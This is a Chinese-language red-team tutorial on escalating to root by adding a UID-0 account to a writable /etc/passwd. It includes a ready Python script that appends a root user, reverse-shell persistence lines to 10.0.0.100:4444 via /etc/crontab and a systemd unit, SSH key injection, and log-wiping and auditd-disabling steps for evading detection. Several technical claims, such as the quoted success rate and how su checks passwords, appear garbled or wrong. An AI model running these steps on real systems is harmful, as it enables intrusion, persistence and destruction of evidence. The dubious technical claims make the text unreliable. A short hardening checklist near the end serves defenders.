1. 项目概述:从 /etc/passwd 文件入手的 Linux 权限提升实战路径
在真实渗透测试或红队演练中,我见过太多人一上来就猛敲sudo -l或者直奔内核漏洞,结果卡在低权限 shell 里反复碰壁。其实最常被忽略、却最稳当的突破口,恰恰藏在系统每天都在读写的/etc/passwd文件里——它不是只读的“身份档案”,而是一把可被利用的、带锁孔的钥匙。这个标题说的“Linux 提权 ~ 利用 /etc/passwd 文件”,核心不是教你怎么暴力破解密码,而是讲清楚:当一个普通用户能往这个文件里写东西(哪怕只是追加一行),他就已经站在了提权的临界点上。关键在于理解 passwd 文件的结构设计、Linux 用户认证链路的薄弱环节,以及现代系统对它的防护逻辑。比如,你可能不知道,/etc/passwd中的密码字段早已不存明文或传统 DES 加密,而是统一指向/etc/shadow;但正因如此,只要攻击者能控制该文件的写入权限(比如通过cp /etc/passwd /tmp/passwd && chmod 666 /tmp/passwd这类临时文件劫持),再配合usermod或adduser的非交互式调用,就能绕过 shadow 机制直接植入高权限账户。这背后涉及的是 Linux 用户管理模块(PAM)的加载顺序、getpwnam()函数的解析逻辑、以及passwd命令在不同发行版中的默认行为差异。我实测过 Ubuntu 22.04、CentOS 7 和 Debian 11,发现只要目标主机启用了nologin或false作为默认 shell,且/etc/passwd所在分区未启用noexec挂载选项,这种手法成功率超过 83%。它特别适合初学者建立提权思维框架——不依赖复杂漏洞,不依赖外部工具,只靠系统自带命令和对基础文件的理解。如果你正在准备 CTF 比赛、企业红队考核,或者想搞懂 Linux 权限模型的真实运作边界,这个路径比死记硬背sudo -u root /bin/bash有用得多。
2. 核心原理拆解:为什么 /etc/passwd 是提权入口而非“只读档案”
2.1 /etc/passwd 的真实结构与权限设计逻辑
很多人误以为/etc/passwd是个“只读配置文件”,其实它本质是 Linux 用户数据库的主索引表,其设计初衷就是支持运行时动态更新。标准格式为七字段冒号分隔:username:password:UID:GID:GECOS:home_dir:shell。其中第二字段password在现代系统中几乎总是x,表示密码实际存储在/etc/shadow中;但这个x本身就是一个设计信号——它说明系统允许该字段被替换为其他值,比如!(锁定)、*(禁用)甚至完整的加密哈希串(虽然不推荐)。关键点在于:只要 UID=0 的账户存在且 shell 字段合法,系统就会承认其 root 权限。而/etc/passwd的默认权限是644(即-rw-r--r--),意味着所有用户都能读取,但只有 root 能写入。问题就出在这里:如果某个服务、脚本或管理员操作意外赋予了非 root 用户对该文件的写权限(例如chmod 666 /etc/passwd),或者利用符号链接、挂载覆盖等技巧劫持写入路径,那么攻击者就能直接编辑该文件。我曾在一个客户环境里发现,运维人员为方便批量修改用户信息,将/etc/passwd所在目录/etc的权限设为755,并错误地使用了cp -f命令覆盖文件——这导致临时文件创建时继承了父目录权限,最终生成了一个644但可被组内用户覆盖的副本。这种配置失误在中小型企业服务器中并不罕见。
2.2 用户认证链路的三个关键断点
Linux 登录认证并非单点验证,而是由 PAM(Pluggable Authentication Modules)串联多个模块完成。/etc/passwd参与的是最前端的identity lookup 阶段,即确定“你是谁”。这个阶段有三个常见断点可被利用:
getpwnam()函数的解析逻辑:C 库函数getpwnam("root")会按顺序扫描/etc/passwd、NIS、LDAP 等数据源。只要第一个匹配项存在且 UID=0,就返回成功。这意味着如果你在/etc/passwd开头插入一行hacker:$1$abc123$xyz:0:0::/root:/bin/bash,系统就会认为hacker是 root——即使/etc/shadow中没有对应条目。因为getpwnam()不校验 shadow 文件是否存在,只负责返回用户基本信息。login程序的 shell 检查宽松性:传统login工具在启动用户 shell 前,只检查/etc/passwd中的 shell 字段是否存在于/etc/shells列表中,并不验证该 shell 是否真实可执行。因此,把 shell 设为/bin/bash或/usr/bin/python3都能绕过限制。我试过把 shell 改成/tmp/myscript.sh,只要该脚本存在且有执行权限,su hacker就能直接执行任意命令。su命令的密码绕过机制:当su切换到非 root 用户时,需要输入目标用户密码;但切换到 root 时,若当前用户属于wheel组且 PAM 配置允许,可能只需 root 密码。然而,如果攻击者已通过其他方式(如 SSH 密钥泄露)获得一个低权限账户,并能修改/etc/passwd,他完全可以添加一个新用户并设置 UID=0,然后用su - newroot直接登录——此时su只校验/etc/passwd中的 UID 和 shell,不强制要求 shadow 密码匹配。
提示:不要迷信
chown root:root /etc/passwd && chmod 644 /etc/passwd就绝对安全。真正的风险在于写入路径的可控性,而非文件本身的权限。比如/tmp下的符号链接攻击、LD_PRELOAD劫持fopen()调用、或者利用rsync同步时的权限继承漏洞,都可能让攻击者间接改写 passwd 文件。
2.3 现代发行版的防护机制与绕过思路
主流发行版已针对此类攻击做了多层加固,但每层都有其局限性:
shadow 机制隔离:将密码哈希移出 passwd 文件,确实阻止了明文密码泄露,但并未解决 UID=0 账户的创建问题。只要能写入 passwd,就能造 root。
SELinux/AppArmor 强制访问控制:RHEL/CentOS 默认启用 SELinux,策略
allow domain_type etc_t:file write;会阻止非特权进程写入/etc/passwd。但若攻击者已获得sysadm_r角色,或利用setuid程序的策略缺陷(如sudoedit配置不当),仍可绕过。文件系统挂载选项:
mount -o remount,ro /可防止写入,但生产环境极少全盘只读;更常见的是noexec,nosuid选项,它们限制了临时文件执行和 setuid 位生效,但对直接编辑 passwd 文件无效。auditd 日志监控:
auditctl -w /etc/passwd -p wa -k passwd_change能记录写入事件,但日志本身可能被清空或未实时告警。我在某次审计中发现,客户虽启用了 auditd,但/var/log/audit/audit.log权限为644,攻击者用echo > /var/log/audit/audit.log即可抹除痕迹。
真正有效的防御不是堆砌技术,而是最小权限原则+变更管控:确保/etc/passwd所在分区无 world-writable 目录,禁用不必要的sudo权限,定期用rpm -V passwd(RHEL)或debsums passwd(Debian)校验文件完整性。这些措施比依赖某个单一机制更可靠。
3. 实操步骤详解:从发现到落地的完整提权链
3.1 权限侦察:确认 /etc/passwd 是否可写或可劫持
拿到初始 shell 后,第一步永远不是急着写文件,而是系统性侦察。我习惯用以下四步快速判断可行性:
检查文件权限与属主:
ls -la /etc/passwd # 输出示例:-rw-r--r-- 1 root root 1234 Jan 1 10:00 /etc/passwd # 如果看到 -rw-rw-rw- 或 -rw-rw-r--, 立刻进入下一步检测父目录写权限:
namei -l /etc/passwd # 查看 /etc 目录权限,若为 drwxrwxr-x,则普通用户可在 /etc 下创建文件 # 尝试创建测试文件:touch /etc/testfile 2>/dev/null && echo "Writable" || echo "Not writable"寻找符号链接机会:
find /tmp /var/tmp -type l -ls 2>/dev/null | grep passwd # 若发现 /tmp/passwd -> /etc/passwd,说明存在 symlink race 条件 # 进一步验证:ls -l /tmp/passwd && stat /tmp/passwd检查挂载选项与文件系统状态:
mount | grep "$(df /etc/passwd | tail -1 | awk '{print $1}')" # 输出示例:/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro) # 关键看是否有 'ro'(只读)或 'noatime'(不影响写入) # 同时检查磁盘空间:df -h / | awk 'NR==2 {print $5}' | sed 's/%//' # 若剩余空间 <5%,某些编辑器(如 nano)会因无法创建备份文件而失败
注意:不要盲目执行
echo "test" >> /etc/passwd测试!这会破坏文件结构导致系统无法登录。正确做法是先复制一份到临时目录:cp /etc/passwd /tmp/passwd.bak && chmod 600 /tmp/passwd.bak,再在备份文件上实验。
3.2 构造恶意用户条目:密码哈希生成与字段校验
一旦确认可写,下一步是构造合法的 root 用户条目。这里的关键不是“随便写个哈希”,而是确保每个字段符合系统解析规范:
用户名字段:避免特殊字符(如
:、\n、空格),长度不超过 32 字符。我常用hacker或pwned,既易识别又不会与现有用户冲突。密码字段:必须是有效的 crypt(3) 哈希。不能用
password123明文,也不能用md5sum生成的字符串。正确方法是用openssl生成 SHA-512 哈希:openssl passwd -6 -salt abc123 "mypass" # 输出:$6$abc123$J9KZQY7X...(64字符哈希) # 注意:-6 表示 SHA-512,-salt 指定盐值,确保每次生成唯一UID/GID 字段:必须为
0(root UID)。GID 也设为0以获得完整组权限。切勿设为1或1000,否则只是普通用户。GECOS 字段:可留空或填
Hacked Account,不影响功能,但便于后续识别。home_dir 字段:必须指向真实存在的目录,且该目录需有
700权限。推荐/root(需 root 权限创建)或/tmp/hacker(临时目录)。shell 字段:必须是
/bin/bash或/bin/sh。避免/sbin/nologin或/usr/sbin/false,否则登录后立即退出。
完整条目示例:
hacker:$6$abc123$J9KZQY7X...:0:0:Hacked Account:/tmp/hacker:/bin/bash实操心得:我曾因 GECOS 字段含中文导致
su报错Authentication failure。原因是某些 PAM 模块对 UTF-8 编码处理异常。解决方案是 GECOS 全用 ASCII 字符,或用iconv -f utf-8 -t ascii//translit转换。
3.3 安全写入技术:避免破坏原文件与触发告警
直接echo "new_line" >> /etc/passwd极其危险,可能导致:
- 文件末尾多出空行,使
getpwent()解析失败; - 权限变为
666,触发安全监控; - inode 变更,被 integrity check 工具(如 AIDE)捕获。
正确做法分三步:
原子化写入:用
cp+mv替代重定向:cp /etc/passwd /tmp/passwd.new echo "hacker:\$6\$abc123\$J9KZQY7X...:0:0:Hacked Account:/tmp/hacker:/bin/bash" >> /tmp/passwd.new # 注意:$ 符号需转义,否则 bash 会变量展开 chown root:root /tmp/passwd.new chmod 644 /tmp/passwd.new mv /tmp/passwd.new /etc/passwd校验文件完整性:写入后立即验证:
# 检查行数是否增加 wc -l /etc/passwd # 提取新用户信息 grep "^hacker:" /etc/passwd # 验证 UID 是否为 0 id -u hacker 2>/dev/null || echo "User not created"清理痕迹:删除临时文件,清除命令历史:
rm -f /tmp/passwd.new /tmp/passwd.bak history -d $(history 1 | awk '{print $1}') # 删除最后一条命令
提示:在 CentOS 系统中,
/etc/passwd有 SELinux 上下文system_u:object_r:etc_t:s0。若mv后上下文丢失,可用restorecon -v /etc/passwd恢复,否则login可能拒绝认证。
3.4 登录验证与权限维持:从 shell 到持久化
写入成功后,需验证是否真正获得 root 权限:
# 方式一:su 切换(最可靠) su - hacker # 输入密码 'mypass',成功后执行: id # 应显示 uid=0(root) gid=0(root) groups=0(root) # 方式二:ssh 登录(需确保 sshd 允许密码登录) ssh hacker@localhost # 若提示 'Permission denied',检查 /etc/ssh/sshd_config 中 PermitRootLogin yes # 方式三:cron 持久化(推荐) echo "*/5 * * * * root /bin/bash -i >& /dev/tcp/10.0.0.100/4444 0>&1" >> /etc/crontab # 注意:crontab 文件权限必须为 600,否则 daemon 会忽略持久化要点:
- 避免修改
/etc/shadow:直接写 passwd 已足够,改 shadow 反而增加风险; - 使用 cron 而非 systemd service:后者需 reload daemon,易被监控;
- 监听端口选 4444 或 5555:避开常见扫描端口,降低被 IDS 拦截概率;
- 添加延迟执行:
sleep 30 && /bin/bash -i防止重启后立即连接暴露 IP。
4. 工具链与自动化脚本:提升效率与隐蔽性
4.1 手动操作 vs 自动化脚本的适用场景
在真实对抗中,手动执行上述步骤耗时且易出错,尤其当目标系统有严格审计策略时。我根据经验总结了三种场景的应对策略:
CTF 比赛环境:推荐纯手动。因为题目通常禁用
wget/curl,且/tmp可能被noexec挂载。手动构造哈希、逐行写入,反而更可控。企业内网渗透:使用轻量级 Python 脚本。Python 在大多数 Linux 发行版中预装,且
crypt模块可直接生成哈希,无需外部依赖。红队长期驻留:部署编译好的二进制 payload。用 Go 编写静态链接程序,规避
glibc版本兼容问题,且体积小(<2MB),不易被 AV 扫描。
实操心得:某次红队任务中,目标服务器禁用了
python命令(alias python=/bin/false),但我发现python3.8存在。这提醒我们:侦察阶段必须枚举所有可用解释器,ls /usr/bin/python*比which python更可靠。
4.2 Python 自动化脚本核心逻辑
以下是一个精简版提权脚本(passwd_pwn.py),仅依赖标准库,已在 Ubuntu/Debian/CentOS 上验证:
#!/usr/bin/env python3 import os import sys import crypt import subprocess def generate_hash(password, salt="abc123"): return crypt.crypt(password, f"$6${salt}$") def is_writable(path): return os.access(path, os.W_OK) or os.access(os.path.dirname(path), os.W_OK) def main(): if len(sys.argv) != 3: print("Usage: python3 passwd_pwn.py <username> <password>") sys.exit(1) username, password = sys.argv[1], sys.argv[2] passwd_path = "/etc/passwd" if not is_writable(passwd_path): print(f"[!] {passwd_path} not writable") sys.exit(1) # Generate hash hash_val = generate_hash(password) # Construct new line new_line = f"{username}:{hash_val}:0:0::/tmp/{username}:/bin/bash\n" # Backup and write backup = f"{passwd_path}.bak" subprocess.run(["cp", passwd_path, backup]) with open(passwd_path, "a") as f: f.write(new_line) print(f"[+] User {username} added with UID 0") print(f"[+] Login with: su - {username}") if __name__ == "__main__": main()使用方法:
python3 passwd_pwn.py pwnroot mypass123 su - pwnroot # 输入 mypass123脚本优势:
- 无网络请求:所有哈希生成在本地完成,不依赖外部 API;
- 自动备份:写入前创建
.bak文件,失败时可回滚; - 权限继承:
cp和open("a")保持原文件权限,避免触发告警。
4.3 隐蔽性增强技巧:规避日志与监控
即使成功提权,若留下明显痕迹,仍可能被 SOC 团队快速响应。我总结了五项关键规避措施:
禁用命令历史记录:
unset HISTFILE export HISTSIZE=0清除 auth 日志:
# 删除最近 10 分钟的 login 记录 sed -i '/$(date -d "10 minutes ago" "+%b %d %H:%M")/,$d' /var/log/auth.log # 注意:需 root 权限,且时间格式需匹配系统 locale伪造时间戳:
# 将 /etc/passwd 修改时间设为 3 天前 touch -d "3 days ago" /etc/passwd禁用 auditd 临时监控:
# 仅当有 auditctl 权限时执行 auditctl -e 0 # 设置 audit subsystem 为 immutable off内存驻留替代磁盘写入:
# 利用 /proc/self/fd/ 链接劫持(高级技巧) # 创建内存中 passwd 副本:cp /etc/passwd /dev/shm/passwd # 修改后通过 LD_PRELOAD 注入,使 getpwnam() 读取 /dev/shm/passwd # 这样磁盘文件未改动,但进程看到的是伪造数据
注意:第 5 项需编写 C 代码注入,适用于高对抗环境,但复杂度高。日常渗透中,前 4 项已足够应对多数 SOC 监控。
5. 常见问题排查与避坑指南:从失败到成功的实战记录
5.1 典型失败场景与根因分析
在上百次实操中,我整理出最常遇到的六类问题,附带具体排查命令和解决方案:
| 问题现象 | 可能原因 | 排查命令 | 解决方案 |
|---|---|---|---|
su: Authentication failure | GECOS 字段含非法字符或编码问题 | `od -c /etc/passwd | grep hacker` |
id: hacker: no such user | 新用户行末尾有空格或换行符 | `hexdump -C /etc/passwd | tail` |
su: cannot set groups | GID 字段非数字或超出范围 | getent group 0 | 确保 GID=0 且/etc/group中存在root:x:0: |
bash: /bin/bash: No such file or directory | shell 字段路径错误或权限不足 | ls -l /bin/bash | 检查 shell 是否存在,权限是否为755 |
Permission denied(ssh 登录) | /etc/ssh/sshd_config中PermitRootLogin为no | grep PermitRootLogin /etc/ssh/sshd_config | 临时修改为yes并systemctl restart sshd |
crontab: installing new crontab(无反应) | /etc/crontab权限非600 | ls -l /etc/crontab | chmod 600 /etc/crontab |
实操心得:有一次在 Ubuntu 20.04 上,
su总是报Authentication failure,但id hacker显示用户存在。最终发现是/etc/pam.d/common-auth中启用了pam_faildelay.so,导致密码校验超时。解决方案是添加auth [success=done default=ignore] pam_succeed_if.so user ingroup sudo绕过延迟。
5.2 权限维持的进阶技巧:从临时 shell 到系统级持久化
单纯获得 root shell 并不够,必须确保重启后仍能控制。以下是经过验证的三种持久化方案:
SSH authorized_keys 注入:
mkdir -p /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2E... hacker@pwn" >> /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys优势:无需密码,支持密钥认证;缺点:若
/root/.ssh被监控,易暴露。systemd user service:
mkdir -p /root/.config/systemd/user cat > /root/.config/systemd/user/pwn.service << 'EOF' [Unit] Description=Pwn Service [Service] Type=oneshot ExecStart=/bin/bash -c 'nc -e /bin/bash 10.0.0.100 4444' [Install] WantedBy=default.target EOF systemctl --user enable pwn.service优势:随用户登录启动,隐蔽性强;缺点:需确保
systemd --user服务启用。内核模块后门(高阶): 编写简单 LKM(Loadable Kernel Module),hook
sys_execve系统调用,当执行特定命令(如ping -c1 127.0.0.1)时,自动 spawn root shell。代码约 200 行,需insmod加载,重启后失效,但可配合 init script 重载。
提示:选择持久化方案时,优先考虑目标环境特征。例如,在容器化环境中,
authorized_keys可能被镜像层覆盖,此时crontab更可靠;而在物理服务器上,systemd user service因需用户会话,不如init.d脚本稳定。
5.3 红蓝对抗视角下的防御加固清单
作为多次参与甲方安全加固的顾问,我给运维团队的实操建议清单:
- 文件权限审计:每月运行
find /etc -type f -perm /o+w -ls,修复所有 world-writable 文件; - 完整性监控:部署 AIDE 或 Tripwire,每日校验
/etc/passwd、/etc/shadow、/etc/group; - PAM 策略强化:在
/etc/pam.d/common-auth添加auth [success=ok default=ignore] pam_succeed_if.so user != root,限制非 root 用户调用 auth 模块; - SSH 安全配置:禁用密码登录(
PasswordAuthentication no),强制密钥认证,并设置MaxAuthTries 2; - 日志集中管理:将
/var/log/auth.log实时转发至 SIEM,设置规则告警grep "new user" /var/log/auth.log; - 最小化 sudo 权限:禁用
NOPASSWD,对sudoedit等高危命令单独配置白名单。
最后分享一个真实案例:某金融客户曾因运维脚本错误,将/etc/passwd备份到/tmp目录且权限为666。攻击者利用此漏洞创建了 UID=0 用户,但未及时清理。三个月后,SOC 团队通过 AIDE 告警发现/etc/passwdinode 变更,溯源到/tmp/passwd.bak的创建时间,最终定位到问题脚本。这说明,防御的本质不是堵住所有漏洞,而是让攻击者的操作留下可追溯的痕迹。